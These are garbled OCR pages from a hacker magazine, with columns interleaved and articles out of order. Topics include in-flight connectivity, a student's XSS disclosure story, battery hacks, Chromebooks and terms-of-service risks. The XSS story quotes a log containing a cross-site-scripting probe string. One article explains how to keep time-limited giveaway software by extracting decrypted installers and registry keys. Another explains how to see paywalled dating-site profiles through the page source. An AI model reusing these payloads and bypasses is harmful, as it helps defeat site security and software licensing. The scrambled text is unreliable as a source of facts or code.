revenue (they received a share of Airfone .. .
billi ) lIT • h ib ~ I d could be delivered WIth a very simple system

uung . weig t contn utes to rue costs, an . ti f littl th t. . consis mg ole more an an an enna on
maintenance costs were high. The net result h b f hid hi h d .. .. t e ottom 0 t e pane an a Ig -en Wlt'e-was fewer and fewer Airfone-equipped Jets. . .
B 2002 A· c. b k t fferi fl t t less router inside the plane. The system wasy ,Irione was ac 0 0 ienng a -ra e . . ,
service, although data-only this time; $15.98 cheap and fast to Install (It ~ould ~e do~e I~ a
covered a package of email, SMS instant few h~u~s), and became an immediate hit WIth
messaging, and information services (such as U.S. airlines, who were happy ~o have another
stock quotes). By then, it was too late. re:enue stream.. The. system IS also popular

The way that people communicate has WIth travelers, since It offers reasonably fast
changed dramatically in the past decade. Voice connections and low latency at a flat rate price.
calling is now much less popular, particularly The biggest weaknesses are relatively low
on airplanes. We still do substantial volumes bandwidth, and coverage that is only available
of voice calls here in the Central Office, but in the U.S., and can drop out over large bodies
average call duration is actually up (after of water (such as the Gulf of Mexico). To
steadily declining for a number ofyears). When address these limitations, Aircell is developing
people want to communicate a short message, a Ka-based satellite system, using the same
they use SMS; they call if they want to talk band as satellite Internet provider WildBlue.
for a long time. Voicemail is also much less They also plan an upgrade to EV-DO Revision
popular; I haven't needed to replace or upgrade B this year for faster speeds.
our ancient Audix voicemail system (other than There are other providers in the business
ever more intrusive CALEA software updates) as well. Row 44 provides a satellite-based
in over a decade. SMS, instant messaging, service using HughesNet for backhaul. The
Skype, a?d social media are the new ~ays. to equipment is lighter and takes less time to
communicate - and usually some combination install than Connexion and the service works
of t~ese. Recognizing t?e trend, tech-sa~vy well over water, providing nearly worldwide
Boeing develo~ed a service ~alled Connexion, connectivity. The downside is latency, which
Unfortun.ately, It was a compl~cated, heavy, and is considerably higher than a ground-based
o~er-englneered system costing $500,?00 per system. Panasonic also competes with a similar
aircraft and ~as based ~n Ku band satelhte tech- system, and their network is compatible with
nology. WhIle the servlc.e coul~ supp~rt spe~ds old Boeing equipment (allowing airlines who
up to 20 Mbps, latency ISrelatively high USIng ...
h· b d ( ki . lik F b k I) have already Installed It to retain the value oft IS an ma Ing sites I e ace 00 craw . .. . .

L fth h I husiasti d t their Investment). OnAIr operates a satelhte-u ansa was t e on y ent usiastic a op er, . . . ,.
.. t f it I h I fl t b t th based system utilizing Inmarsat s Swiftlsroad-equIppIng mos 0 1 S ong- au ee, u e . . ,.
. bidBoeing band service. And Airfone? It s still around,servIce never ecame very popu ar an . .. .

shut it off in 2006. Oddly enough, television but mostly for use In .pnvate .alrcraft. Venz.on
didn't launch with the service (even though recently sold the service to Live'I'V, a subsid-
in-flight entertainment is a fairly obvious use iary of JetB~ue', It's anyone's guess what they
for such a high bandwidth system). Only four plan to do WIth It.
television channels, three of which were Euro- And with that, it's time for me to get back
pean, were finally made available in 2005. to annual maintenance here at the old Central

Meanwhile, Aircell, a company that had Office. I'm only here for a few weeks, and then
spent nearly a decade trying (and failing) to back to Beijing for more Asian adventures.
convince the FCC to allow in-flight picocell- Stay safe this spring, and if you see a dust
based GSM voice calling, saw an opportunity. storm heading toward you, get indoors!
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by Gregory Porter
greg.e.porter@gmaiI.com

There has been a lot of discussion about
"responsible disclosure." When one finds a
vulnerability in a system, what is the most effec­
tive and safe way offixing it? Based on my expe­
rience at school, it seems to depend on the nature
of the system itself.

I am a student at an American university.
I also work in their tech support service; it's
kinda like Geek Squad but for students living in
the dorms. I'd imagine that the security of a big
school like mine can be expected in any compa­
rable academic institution (or corporation, more
like it).

I heard from a friend that the school's website
was insecure, but he didn't go into too much
detail. Logging into the main student "portal" as
it's called, I tried to think of possible vulnerabili­
ties. Search boxes are always nice, right?

I had heard about XSS (Cross Site Scripting)
but knew very little about it. Now, I didn't want
to do any sort of skullduggery, but more of a
proof of concept type of thing. So I had to make
sure I knew exactly what I was doing . I didn't
want to think about what would happen if I
ran a pseudo-random script and it crashed the
university's system. I Googled for tutorials and
http://ha.ckers.org/xss.html was
the first hit. The first example script displays an
alert box saying "XSS" and nothing more. One
could put this into a text field or, in this case, a
search box. If the alert box comes up, then the site
must be processing the text without sanitizing it.

The first search box I tried - one on the
housing site - was vulnerable! Excited as I was,
this wasn't much of a threat to a client. A villain
must be logged into the site and manually enter
the script. No matter.

I contacted my supervisor who forwarded the
message to his supervisor who then forwarded it
to the woman in charge of the housing site. About
a month went by before I was contacted by the
administrator.

In this time, I found another vulnerable box:
the main search box in the student portal. This
was a clear danger. The site encodes the query
into Unicode, sends it as a GET request, and
displays the query on the resultant page! This
would mean a villain could write a script, encode
it, hide it with TinyURL, and send out mass
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emails. It gets better. I sent a link to a non-student
friend a couple of states away and the script ran
successfully! Even though the box was in the
student site, the search box could still be accessed
via a direct link.

So I spoke to the housing admin on the phone.
The conversation was curious. The admin wasn't
really familiar with this type of vulnerability. As
I explained how it worked and what I did, she
followed me step by step all the way down to
running the script from her machine! I had only
included a portion of it in our emailsc so Lsent

her the full version. What if I had made a new
script which stole cookies in addition to the alert
box? She would have been none the wiser. Well,
fortunately for her anyway, it didn't occur to me
at the time (not that I would have really wanted
to do that anyway). It turns out that she was the
administrator only to that site. The computing
department administers most other sites for the
university. She said she would contact the appro­
priate people for me. A few months went by and
I heard nothing. The portal was still vulnerable
while the housing search box was taken down.

A friend of mine, with whom I shared this
information, had to give a presentation to faculty
and representatives of the university about his
research project. He examined the significance of
cyber attacks throughout the life of the Internet.
He asked me if he could use my experience as an
example of the prevalence of dangerous vulner­
abilities. I didn't think anything of it. It turns
out that one man in attendance was from the
computing department. When that tidbit of info
was revealed, he pulled out a pad of paper, took
notes, listened intently, and even asked my friend
for further information afterwards. Weeks passed
by and then I was contacted by the security team
lead of the computing department. He informed
me that I had been flagged for trying to "attack"
the university network. They included a sample
of the log file for extra proof:
2010-10-27 21:47:27.733 XXXX-Auth\
-'USERNAME ';alert(String.fromChar
-'Code(60,51,32,71))//\' ;alert(
-'String.fromCharCode(60,51,32,71))
-'//";alert (String.fromCharCode (60,
-'51,32,71))//\";alert(String.from
-'CharCode(60,51,32,71))//--></
-'SCRIPT>">'><SCRIPT>alert(
-'String. from
2010-10-27 18:15:26.607 XXXX-Auth\
-'USERNAME
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STUPID 9-YOLT TRICKS

Resources
• en.wikipedia.org/wiki/Universa1

"Serial Bus
• www.batteryho1ders.org/ 9v-a1ka

"line .pdf
• www.batteryholders.org/aaaa.pdf
• www.batterysavers.com/ Compare-B

"atteries. html
• www.Jameco.com
• www.Digikey. com
• www.Mouser.com

connect the internal AAAA batteries in parallel,
instead of the default series. Or, for a quick and
dirty high voltage hack, just daisy chain a bunch
of 9-volt batteries in series. Their connectors are
perfect for pulling this off with no extra hard­
ware. Current and capacity will remain the same
though.

USB Charger
This is a fairly popular trick. I'll describe

the no frills version. You can build a 9-volt USB
power charger with some wire, a soldering iron
(and some solder), a battery clip (homemade
even), female USB plug, and a 30 cent 5-volt
regulator. For the 5-volt regulator, I recom­
mend the 7805T. You can pick one of these up
from jameco.com, digikey.com, or mouser.com
(among many other vendors). This regulator in
particular can take an input of up to 35 volts and
output up to 1 Amp. If you're afraid of soldering,
just tape it all together and it might still "work"
(I'm sure a local hackerspace can get you up to
speed on soldering though). For simplicity, I will
say "positive" = red wire , 9-volts, and 5-volts.
Then "ground" = negative, black wire , and
O-volts. The 5-volt regulator looks like a typical
transistor. If you orient it to where you can read
the label and the pins are pointing straight down,
I will refer to left, center, and right pins. USB
connections are simple; there are two data pins,
one power pin, and one ground pin. Power is pin
I and ground is pin 4. The pins should go from
4-1 left to right on the male plug.

Connect ground of battery to middle pin
of regulator with solder/wire. Connect posi­
tive of battery to left pin of regulator. Connect
positive pin of female USB plug to right pin of
regulator. Finally, connect ground pin of female
USB plug to either middle pin of regulator, or
ground of battery plug (it is the same connec­
tion either way). All you have to do now is plug
a battery into the clip, and plug your USB device
into the female USB plug. For people who need
visuals, I'm sure there are some good write-ups
on instructables with some more frills (such as
an on/off switch); I didn't invent this trick , I just
understand it and am merely reporting it.

Triple-A Battery Replacement
OK, so AAAA batteries aren't really that

common, but AAAs are. There are many videos
out on the YouTubes saying that you can prac­
tically take apart any 9-volt battery and use the
AAAAs inside instead of AAAs. Due to some
complications (such as the flat cell 9-volts and
obvious size difference), there is a lot of skep­
ticism and question of whether this trick is a
hoax . Let me explain why it is not. First, realize
that not all batteries have six quad-As in them
- if you find a flat cell, don't assume that all of
them will be like this (as some have assumed).
Also, keep in mind that AAAAs are smaller. The
claim that they can be immediately be used in
place of a AAA without modification is usually
incorrect. However, modification is usually very
simple; some 9-volts have small metal clips used
to connect the AAAAs in series. You can bend
one of these clips in half and use it as a conduc­
tive expander. The main rule of thumb is to find
anything conductive that will extend the length
of the battery. So, what about voltage, current
output, and battery life (the main relevant points
of a power source)? We already know that the
voltages for the "A" batteries are generally 1.5
volts. But can a quad-A handle the current load?
For perspective, a typical average/high load for a
double-A is about 50mA (milliamps). A triple-A
is typically around 10mA. Quadruple-A batteries
typically handle a load at around IOmA-15mA.
Therefore, load should not be a concern when
using AAAA batteries in place ofAAA. However,
with the smaller size of the AAAA, there must be
a catch: capacity. A typical AAA has a capacity
of 1150mAh (milliamp hours). This means if you
were to put a 1.15 amp load on a AAA battery,
it would last for only one hour (in theory, not in
practice; higher load drops capacity). Likewise,
running half the load (575mAh) would last for
two hours. A quadruple-A battery has a typical
capacity of 595mAh, so AAAAs have about
half of the lifetime of a AAA. So, when using a
AAAA as a replacement for a AAA , know that it
should work, but will only last about half as long.

batteries but only have a 9-volt, you have an
option.

More Current, More Voltage
A typical 9-volt is designed for 15mA at a

595mAh capacity. You sure could push one past
15mA , but the capacity starts to tank when the
load gets higher than the optimal 15mA. In other
words, running at 30mA will last much less than
half as long as running at 15mA. But with one
9-volt battery, you could run at 90mA at the same
capacity, but at 1.5 volts. To do this, find a way to
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black wire to the male (small circle) part of the
clip, and then solder a red wire to the female
(larger hexagon) part of the clip. (Note that this
is reverse of power and ground, due to the clip
being connected in complement.) The color of
wire doesn't matter, however, red and black are
a standard for positive and ground. I find the hard
plastic generally used for 9-volt caps turns out to
be much more durable.

Quadruple-A Batteries
As you may have discovered while disassem­

bling your 9-volt, most common batteries such as
Duracell and Energizer actually have six AAAA
batteries inside the 9-volt shell. Not all 9-volts
are designed this way, however. Some 9-volts
have a stack of flat carbon-zinc cells. AA, AAA,
and AAAA are all generally 1.5 volts. Batteries
hooked up in series are additive with voltage.
So being that a 9-volt is typically just six AAAA
batteries hooked up in series, the math works out
(6 multiplied by 1.5 equals 9). So if you're ever
in a bind and need those very common AAAA
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over, apparently). Because I was a good. hard
worker, they spoke on my behalf to the secu­
rity team. The student computing policy was
vague enough for me to be safe . I didn't real ize
it, but I would have most certainly lost my
job, potentially faced expulsion and, being a
publicly funded university, "felony" was being
thrown around! I had known both of them for a
while, so I was more open in arguing my case.
After all , I reported it as clearly and safely as I
could. My error, according to them , was to try
the vulnerability again after finding it in the first
place. I should have made a "ticket" in the help
desk system which, I might add, is only acces­
sible to some of the employees of the computing
department and the help desk. Once the ticket is
submitted, my business is done. I cannot find out
the status of it or try it again. What a number of
hoops to jump through! To top it off, the vulner­
ability was not fixed. After months and months of
trying, a little line or two of code to sanitize the
input was not included in the site. A friend finally
spoke to a computer science professor about this
and had it fixed.

There are a number of things to take from my
experience. Talk to the right people who have
the loudest voices. Make sure you know exactly
what you are doing. Document everything. Even
though you might be trying to help, it won't be
acknowledged as such.

by XlogicX
No.Axiom@gmail.com

If I was put in a situation where I could only
use one kind of battery, it would be the 9-volt.
Sure AAs and AAAs may be more common, but
the 9-volt is so much more flexible, especially
as a hobbyist. Most of these hacks are no secret,
although one of them is a personal trick of mine
(the clip). I will go into some detail on why some
of these more known tricks actually do work.

The 9-Volt Clip
When building devices powered by a 9-volt,

you want a 9-volt holder and a clip to attach the
battery to. The typical clip that you can find just
about anywhere, including Radio Shack and
Fry's Electronics is very flimsy in my opinion;
the inside contacts seem to break with enough
repetition of removing the battery from the clip.
An even cheaper (almost free) and more reliable
trick is to take apart a dead 9-volt battery and use
the top cap of it as a connector. I just solder a
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"hackers' was in a log file, so clearly I
must be a villain. That String. fromChar­
Co d e ( 6 0, 51, 3 2 , 71) didn't minimize the
likelihood of me as a threat.

I met with them. Quite a tense meeting.
Instead of thanking me for reporting the issue, I
was chastised for testing the site for such vulnera­
bilities. They said, "It's like opening every door in
a building to see which ones are locked." I didn't
know that was bad, too. They never mentioned
the presentation nor did I expect it. They also
employed different sorts of scare tactics. When I
mentioned the housing admin, they informed me
that a "red light went off at the network opera­
tion center" flagging both myself and the admin.
I didn't want to open a can of worms by saying
that I had been testing this for a month or two
before that. They also told me that their system is
connected to the FBI too, so I was on a fine line
between a little trouble and a lot of trouble. Once
again, I didn't feel it right to openly question this
scenario; the queries are probably logged, but
these files are never read or checked. I left the
meeting with a bad taste in my mouth but, I told
myself, it was for the greater good (and perhaps
my resume) and it will at least be fixed.

So another few months went by and I was
contacted by my supervisor and his supervisor.
They updated me on the situation (which wasn't



Conclusion (Second Attempt)
I ended "Introduction to Chrome OS" in

28:3 on a rather sour note, so I'm going to use
this do-over conclusion as a chance to clarify my
thoughts on Chrome as a bit.

Some of the things I took issue with at the
beginning of the year have started to waver a
bit, such as the conceptual limitations on what
you can do from within the web browser. That
is still mostly true , though Google has started
experimenting with "Native Client," a way for
web applications to run native code on the local
machine (rather than having to use some inter­
preted language from within the web page).
Native Client, when it becomes more developed,
should allow for considerably more advanced
web applications than what we're used to. There
have already been a few demonstrations, such
as a port of MAME that runs in the browser,
that show what's possible once developers get
onboard with it.

On the other hand, some of my gripes look
like they are here to stay. For example, while
the aesthetics of the Chrome Web Store have
changed quite a bit, it's still riddled with glori­
fied bookmarks. Even after a year, I have yet to
see an "app" in the Web Store which really takes
advantage of Chrome as and presents something
you couldn't do just as easily on any other system
capable of running the Chrome browser.

With all that being said, I have to concede that
a Chromebook does have its place and, yes, you
may even pay "near the cost of a more traditional
system" for one.

native Linux programs and libraries. At this
point, I suppose it's safe to assume that Google
doesn't have a problem with the more advanced
user modifying their Chromebook software a bit.
Of course, as Google doesn't make any money
on the hardware itself, I suppose they couldn't
care less if you buy a Chromebook from Acer or
Samsung and blow Chrome as off of it, so long
as you eventually use some of Google's services
and let them make ad revenue off of you.

Motivation aside, the upshot of Google's
indifference is that I'm still able to go into Devel­
oper Mode on a Chromebook and drop a few
choice Linux programs into Ihome. This lets me
have my few must-have tools while still keeping
the machine usable to the rest of my household.
While there are a few annoying hoops to jump
through (like not being able to launch local
software from the GUI itself), I find there's just
enough capability there to keep me from format­
ting the thing and installing a different as.

I'm Not a Grandmother
I would like to tell you that in the time since

I wrote my last article to now, Chrome as has
made leaps and bounds in terms of function­
ality. But honestly, I can't think of a single major
feature that has been added since then which
impacts usability. Things haven't gotten worse ,
and there have been incremental touch ups and
improvements throughout the as, but nothing
groundbreaking.

Accordingly, I still stand by more or less
everything I said in 28:3; Chrome as is at best
a secondary operating system. There is still no
way I could use a Chromebook as my primary
machine, and if I didn't have a backup computer
in place to take over for my stolen machine, I
would have spent the $300 on a cheap laptop and
dealt with flaky hardware and questionable soft­
ware support. I would much rather suffer through
some aggravation and end up with a proper
computer that I could actually use for develop­
ment and content creation.

That said, I do have to give credit where it's
due, and mention that Google has still not made
any attempt to block the installation of alternate
operating systems on Chromebook hardware or
impede the more technical user from installing
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nity noticing either. While the argument could
be made (perhaps by Google themselves) that
Chrome as is anything but a desktop as, there
is no debating that it puts GNU/Linux into a
package that nearly anyone can use. With a
Chromebook, you can now use an open source
operating system without actually knowing what
an open source operating system is.

Technically, it's not the first time this has
happened, as you may recall that all the first
generation netbooks shipped with various Linux
distributions to help bring the end user cost as
low as possible (though later Microsoft devel­
oped an aggressive pricing scheme for XP and
managed to remove the price advantage of going
with Linux). It's not the first big break for desktop
Linux, but it's unquestionably the best supported,
as the coffers and advertising might Google
brings to the table can be used to great effect to
push a new product or service .

While I can now appreciate the value a
Chromebook offers, especially since the price
for the entry level Acer model is down to $300,
I still don't necessarily agree that it's ready for
prime time. It's admittedly an excellent device
for rapidly accessing the Internet, as its boot time
and low overhead can get you online in literally
seconds. Beyond that, even my Android tablet
(well, before it was stolen at least) is still infi­
nitely more capable.

often meant it would not, in fact, be working for
some time afterwards).

My first thought was to simply get a cheap
netbook and install Linux on it, but, as I looked
online, I was surprised to see that the entry price
of netbooks had somewhat inflated since the last
time I looked, to the point that I wasn't going to
get a machine worth owning for anything less
than $300. Then, of course, there was the anxiety
about hardware support. Would I be able to use
all of the device's hardware without relying on
proprietary binary blob drivers which may decide
to stop functioning with a new kernel release?
Then I would have to do the maintenance on
it, making sure I kept the machine updated and
hoping none of the upgrades go wrong ....

It was right around here that I realized what
the value of the Chromebook actually was. It
wasn't that it allowed tighter integration with
Google's services, or allowed me to keep all of
my information in the "cloud." Its real value
was that it ran open source software, kept itself
updated without asking, and it always worked.

So... I Bought a
Chromebook

by MS3FGX
MS3FGX@gmail.com

A Holiday to Remember
On December 21st, 2011 my home was

broken into and essentially everything electronic
was stolen. Being the good little digital warrior
that I am, I had backups of pretty much every- Linux for Grandmothers
thing, though there were a few notable excep- This realization about Chrome as got a few
tions. Due to an oversight on my part, I lost an other ideas going around in my head. For years,
article I was writing for 2600 that was about 90 the Linux community has been waiting and
percent complete (sorry folks). hoping for the "Year of Desktop Linux," that

Once I verified I had more or less all of my magical day when the average consumer could
data safely backed up and got one of my older walk into a Best Buy, purchase a Linux powered
machines ready to take on the role of my primary machine, then go home and actually know how to
computer, it was time to consider what I should use it. Needless to say, we've never gotten there
do about my stolen CR-48 Chromebook. Over the and, honestly, I didn't think the day was ever
past year the CR-48 had become an increasingly going to happen - until the Chromebook, that is.
useful item in our household, as my wife got very I get the sneaking suspicion that Google
used to the ability to jump on the Chromebook managed to deliver on the promise of a desktop
while I was working on the primary computer Linux for the masses without even realizing it,
(especially since "working" on the computer and, apparently, without anyone in the commu-
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When writing, at least about technology, I try
to obey a few simple rules I've set up for myself.
First , be as neutral as possible and keep opinions
out of the piece , and second, never use absolutes
when dealing with developing technology. So I
should have known I was setting myself up for
failure when in 28:3 I wrote:

HI cannot fathom an individual purchasing a
Chrome OS computer for anything near the cost
ofa more traditional system. "

Well, here I am just three months after my
somewhat negative article "Introduction to
Chrome OS" went to print, and I'm about to pull
the trigger on purchasing a new Acer Chrome­
book . How did I get here? What changed my
mind? Funny story....
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Hacking Giveaway of the Day
[GOlD]
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Thanks to Nir Sofer, Nitch, Mouser and
GOTD for the great software.

Shout out to OneTinSoldier, Dave B, CORE my
heroes, and The Legends ofESI and RUSH.

Tools
Regfromapp - http://www . nirsoft

-. net/utils/reg_file frorn_applica
-tion. htrnl

URLSnooper - http://www.donation
-coder.com/Software/Mouser/url
-snooper/index.htrnl

Unlocker http://www . ernptyloop
-. com/unlocker /

by gosein You can imagine what they're building (basement
torture chambers) and negotiating ("if you make

If you're like me, you probably don't like to me wait until the second date, you unfortunately
pay for something you can get for nothing. You won't still be alive").
probably also have a healthy mistrust of govern- But, I digress. These sites will send you free
mental authority and a barely concealed contempt matches - but you can get those anywhere. What
for corporate greed. Yet, outside of the virtual really gets the hand reaching for the [wallet,
universe, you may not have the time to pursue card, keyboard] is when that email shows up that
the sort of emotional relationships that can make says: "You know what, [anonymous hot person]
such deeply held convictions instantly forget- has read your profile and done an exhaustive
table. Corporations know this, even if you forbid search of your background and, despite that now
your machine from eating cookies. dismissed felony charge in Tampa back in 'OS,

There are many options for those, like me, she/he digs you. Log in and see what he/she has
starved for real emotional contact: Doc Warren to offer and to tell her/him you're interested too!"
and the Stasi-like censorship over at eHamonme; Oh, you can barely contain your excitement. You
the suppression of all things liberal over at the almost knock over your glass of wheat grass.
alleged leader of the pack, Match.com; or perhaps Steady now. You log into your "free" account to
Match's brainier sister, chemistry.com. The sites see who this person is that was able to get past
have different approaches to the art of love, to all the emotional firewalls you built into your
be sure, but they all share one attribute above all profile. And then, the heartache sets in. Yes, you
else: separating you from your hard earned cash. can view for free, the profile of the random dudes
Cleaning rancid cat vomit out of the keyboards and dudesses that these dating site algorithms
of malfunctioning laptops day after day is a "match" you with (they surely all start with the
thankless task - you've earned every penny you equation: "subscriber's face = rat's ass"). But,
have. I'm here to let you in on a not-so-closely to see the profile, neigh the photograph, of that
guarded secret that might keep you from wasting diamond-in-the-rough that has found their way to
those hard-earned ducats on the scam run by at you despite the walls and barbed wire you have
least one of these major online dating sites (your erected around you heart, there is a price: you must
hacker assignment is to figure out which one - become a "disciple" - you must, gasp, subscribe.
and don't say your cat ate it). And the cost of disciplehood, my friends, is not

Like any good drug dealer, these sites all suck cheap: $50 a month; perhaps a discount if you
you in by offering a tantalizing proposition: post agree to extend your weekend chipping into a full
an ad for free, get "matches" for free. Hell, you blown addiction. You're like: "I already know
might even get some ego-reinforcing "personality 1 want to marry this person that likes me and I
test" results as an extra free bonus. Show me the want to get started down that yellow brick road
person who ever took one of these tests and was now; but, $50, WTF? That's ten, no more like
told that they were a sociopath and should be out eight, Starbucks grand Vente whatevers!" And
of the dating pool - and yet, there they are, on you're still just beginning to master the Zen skills
the site and eagerly awaiting your response with needed to brew your own proper cup of coffee.
generalized titles like "builder" or "negotiator." Talk about your approach-avoidance conflicts!

Spring 2012 Page 21

I have multiple machines, I use my Yahoo junk
mail and then use a site like 10minutemaii to get
the keys mailed to me. Surprise - sometimes they
are the exact same key! It's good to have multiple
keys in case the software counts activations ­
one key, one use. Also, I may run URLSnooper
during this to see what website it goes to, so I can
just launch the website and register as many as I
like. There are some sites which, after you give
your name and email address, go to another page
and give you the key right there. No waiting for
email. Easy.

Now you can install these as much as you like
any day!

message that the activation is complete. Uncheck
the Add boxes and close that. Now Regfromapp
will stop recording since the process was stopped
and you have a reg key for the software. Just save
it in the folder with the setup.exe for future use. If
Regfromapp didn't pull a key, then you're dealing
with a more complex activation. You might try
URLSnooper to see what is going on. I've seen
at least one that went to the developer's site and
downloaded its own activation program. Sneaky!

Case 2 - setup.exe
These come with the readme that will usually

instruct you to go to a website and register for a
key or it will provide a key you can type in. The
fix here is sometimes as simple as going to the
developer's website and downloading the setup
from there and using your free key to register. But
there are occasions where the developer doesn't
offer downloads ofthe program, or it is a different
version that makes your free key useless. Let's do
it another way. We spent time downloading the
setup, why not use it? When you run the setup.
exe, it will hit the giveaway site and check the
"key" and unwrap the program and you'll get
the normal looking installer. When the app is
unwrapped, the decrypted version is in your
%temp% folder as a hidden file. Go to Start
and Run, type in %ternp%, make sure hidden files
are visible, look for a file a few Kb smaller than
the original setup named WD012.tmp or some­
thing like that. Copy and paste that file in the
unzipped GOTD folder with the original for safe­
keeping (next install). You may need to unlock
the file with a tool like Unlocker before it can be
moved. Now you have the unencrypted file. Right
click and uncheck Hidden and rename with an
.EXE extension. Exit the GOTD install, run the
file you copied to make sure you have the right
file, and install it. Exiting the GOTD installer will
delete the temp file. The GOTD installer has to be
running for the file to be in the temp. Sometimes
after I install the program and run it for the first
time, I'll run Regfromapp and select the running
process, then go back to the program and enter
the registration info. That way I have a registered
key, just in case it has to verify itself against the
developer's website and only works that day.

Another subset of the setup.exe is the website
registration. Sometimes the URL will be in the
readme, other times it will show up when you first
execute the program. You'll have to enter your
email address or click a "get a key" button. Since
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Case 1 - activate.exe
In most cases, these are simple reg files that

will put a serial key in the registry for you. Then
when you install the program, it will come up
registered. The more involved activate files I've
seen go out to the web and verify themselves
against the developer's server and only activate
on that day. The serial number is not always in
the Abou t info in the program, so you could run
through the registry, but some developers hide the
info pretty well. What you need is a little program
called Regfromapp from Nirsoft. net. Run
Regfromapp, close the process screen that comes
up, and select Start a new process. Browse
to the activate.exe and select it. Now wait a few
seconds while activate.exe is run. You'll get a
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by Lone.Geek

For those of you who don't know, there is a
site that gives away software every day called
giveawayoftheday. corn. On weekends
they give away a game, too. This info works on
both.

The caveat is the software must be installed
and activated that day. The software usually
comes in one of two zip packages.

One - The zip will have an activate.exe and
setup.exe to install the actual program.

The activate.exe is supposed to be run first,
and then when you install the program, it wi 11 be
activated or registered.

Two - The zip will have a readme and a setup.
exe.

You run the setup and use the key provided
in the readme to register the software. Some­
times the readme will tell you to go to a website
and register your email to receive a key for the
product.

Now the downside is if you reformat your
PC, all is lost!! The activate.exe (Case 1) or the
setup.exe (Case 2) are encrypted with a soft­
ware wrapper developed by giveawayoftheday.
So if you want to install or activate the program
another day, it goes to the Net and tells you the
offer has expired.

So I will explain how to keep these programs
around and be able to reinstall the majority of
them. I say majority because some of them have
better protection schemes implemented by the
software developers - like the company website
refusing activation - but I'd say these are the
minority.



Our first 12 issues have been reformatted into a book - similar to our later volumes
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TOSA
by Douglas Spink

wrinko@hushmail.com
http://cultureghost.org

RTF ... that were unilaterally turned offby service vendors
who, after citing their respective TOS, simply
offlined their services. MasterCard, PayPal, NSI,
Amazon ... even DNS service providers have taken
such unilateral actions, and thus forced periodic
scrambles by WikiLeaks to locate new resources
to replace them. Often, those new resources have
failed to last long... and the process has repeated
itself. The common factor? TOS.

For those of us involved in the creation of tech- It is for this reason that we must become
nology-based projects for social transformation, much more adept at analyzing - and consistent
recent years have seen a profound increase in the in reviewing - TOS. How many folks reading
tools available in constructing novel systems. Ten this article have actually done a careful review
years ago, if we wanted to string together a set of of the TOS of a net-based resource used in their
tech tools in order to - let's say - create a secure routine online activities? Whether we're talking
private network, we'd have needed to purchase a about a hosting provider, a domain name regis-
nontrivial amount of hardware, code up substantial trar, a Virtual Private Network security provider,
amounts of new software, and perhaps even invent or a payment processing network... pick anyone.
from scratch new protocols with which to inter- Over the years, I've asked folks this question. The
connect all these elements. That's no longer the answer is generally "no, I don't really read that
case. Now, we've got a cornucopia of tools, soft- 'legalese' - it's impenetrable, and besides it really
ware, hardware, and even fully-developed proto- doesn't matter." Impenetrable it may be (more on
cols at our fingertips. While the latest buzzword to that later), but unimportant it's most certainly not!
describe such things is "the cloud," in reality what Essentially, TOS layout the conditions and
we've got is a readily available toolkit of useful constraints under which a provider is offering
pieces and parts. service in exchange for payment (or, in the case of

With this toolkit, creative technology activists free providers such as webmail, in exchange for the
have the ability to bring into existence entirely ability to hammer "users" with advertisements).
new classes of projects with dramatically lower The TOS say what the service provider agrees to
startup costs. Instead of buying all that stuff and do, what it doesn't agree to do and - most impor-
flying around the world to install it, we can now tantly - what conditions allow it to stop providing
gain access to whatever we need via net-based the service altogether. Finally, the TOS usually
interfaces. Need a bunch of server capacity spread outline when and how the service provider claims
across multiple geographic jurisdictions? No the right to hand over sensitive, private informa-
problem: just spin up some VPS for a few bucks tion to third parties (including cops, lawyers,
a month, deploy a decent C&C framework, and government spooks, etc.). Obviously, these are
you've got your network. The same goes for important issues, and just because they are buried
payment systems, customer service applications in small-text notifications - or couched in legalese
(SaaS-based), storage capacity... you name it. - in the TOS page that nobody really reads does
These are powerful capabilities and they are now not make them any less important. If anything, the
far more widely available than ever before. That's fact that they're essentially hidden in plain sight
a good thing, right? Historically, the startup cost of is a surefire clue that there's something in there
innovative, socially-engaged projects has always that most service providers really don't want their
held them back - would WikiLeaks have been customers (whom they label as "users" - a telling
possible in the 1990s, when hosting and server distinction) to know. Let's look at some examples.
capacity was so much more expensive, time- A common condition in TOS for hosting
consuming, and limited in scope? Unlikely. companies is that they reserve the right to cancel

However, despite the positive impact of such the account, without notice, if any "unlawful"
availability, it's imperative that we remember the materials are stored on their servers. While that
constraints and limits inherent in the way these seems fairly straightforward, it's not. Let's say
resource marketplaces have developed in the real you are running a project that provides free
world. In particular, the Achilles heel of Terms hosting for controversial websites that have been
of Service (TOS) provisions is one that has a censored elsewhere online (something I've done
profound importance to technology activists, one for more than 15 years, myself). That project
that is often overlooked. Sadly, this can create moves a website onto a leased server, pays three
gaps in both the operational effectiveness and the months in advance for hosting, and - suddenly
reliability of such projects, a well as substantial - the server goes offline. When contacted, the
security risks. Again, the high profile example of hosting company cites their TOS; the TOS, in tum,
WikiLeaks is illustrative: repeatedly, the project have that "unlawful" clause in them, and further-
has been hamstrung by infrastructure components more state that the company can forfeit the entire
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gotta get outta your head.
Third, log into your [target dating gigolo/

whore] account. Attempt to access the profile of
the tempter/temptress that has nearly made you
part with a week's wages. Up pops the screen
offering you various ways to part with your
indentured servitude payments. It is so very frus­
trating, because for a millisecond you can see
the prince or princess that has waded into this
virtual quicksand to rescue you - and yet, yes,
you need an e-ticket for this ride, else no picture
or profile visible. You stare at the precipice ofone
of life's core existential dilemmas: date or loss
of cash? But not so fast, superhero - move your
little mouse cursor over into the corner, where a
part of the blurred-out profile can be seen. Then,
though I'm sure you're ambidextrous, pull your
right iron, son. At least in Windoz7, click on the
"view encoding" option on the drop-down menu.
What's this?

Oh yes! Lots ofcode, and I'm not terribly agile
with this stuff, but I patiently scrolled through it
all and, voila! Not only did it contain the entire
profile of the concealed admirer that the corporate
scum had blocked from my view, but whoa: links
to jpeg files of his/her photos that were easily
copied and placed on the browser command
line and then, just like the old Polaroids, photo
revealed (and copyable for later Facebook,
photoshopping... well, your creative mind can,
I'm sure, imagine the mischief possible). Total
attempted emotional thievery: $50 minimum.
My cost (and yours) $0. Of course, if the secret
admirer rocks your virtual world, you'll still have
to pony up for the email address or other manner
of contact (I couldn't find it in the code, but other
knowledgeable people may have a way to deduce
it out of some of the gibberish that shows up), but
at least you won't have to pay $50 only to find out
you're lookin' at a toad with a darker past than
your own. And it just goes to show that you don't
need to know a ton of stuff to be a "hacker" - a
hacker is just someone with a curious mind. And
we should all have curious minds - always.

The Hacker Digest - Volume One
The First Year of 2600

Cognitive dissonance, get thee behind me!
But, what if there was a way that you could

view the profile ofyour secret admirer and see his
or her photograph before you part with your cat­
vomit cash? I say, would that be a thing of value
to you, something you might pay even a dollar
or two to have? Yes, it would be. But I am not
